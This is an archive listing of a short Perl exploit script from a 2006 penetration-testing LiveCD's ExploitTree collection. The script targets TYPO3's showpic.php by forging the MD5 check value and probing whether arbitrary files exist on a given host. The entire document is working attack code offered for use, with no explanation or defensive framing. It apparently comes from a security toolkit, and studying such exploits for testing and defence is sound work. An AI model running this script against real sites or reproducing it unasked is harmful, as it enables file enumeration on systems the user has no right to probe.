home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webapp / showpic / showpic.pl < prev    next >
Perl Script  |  2005-02-12  |  459b  |  14 lines
  1. #!/usr/bin/perl
  2. use LWP::UserAgent;
  3. use HTTP::Request;
  4. use HTTP::Response;
  5. use Digest::MD5 qw(md5_hex);
  6. ($ho,$fi) = @ARGV;
  7. $md5 = md5_hex("$fi||||");
  8. $ua = new LWP::UserAgent(); $ua->agent("Opera 6.0");
  9. $uri = "http://".$ho."/typo3/showpic.php?file=$fi&md5=$md5";
  10. $req = HTTP::Request->new("GET",$uri);
  11. $res = $ua->request($req);
  12. if ($res->content !~ /was not found/ && $res->content !~ /No valid/) {print "\n$fi exists\n";}
  13. else {print "\n$fi not found\n";}
  14.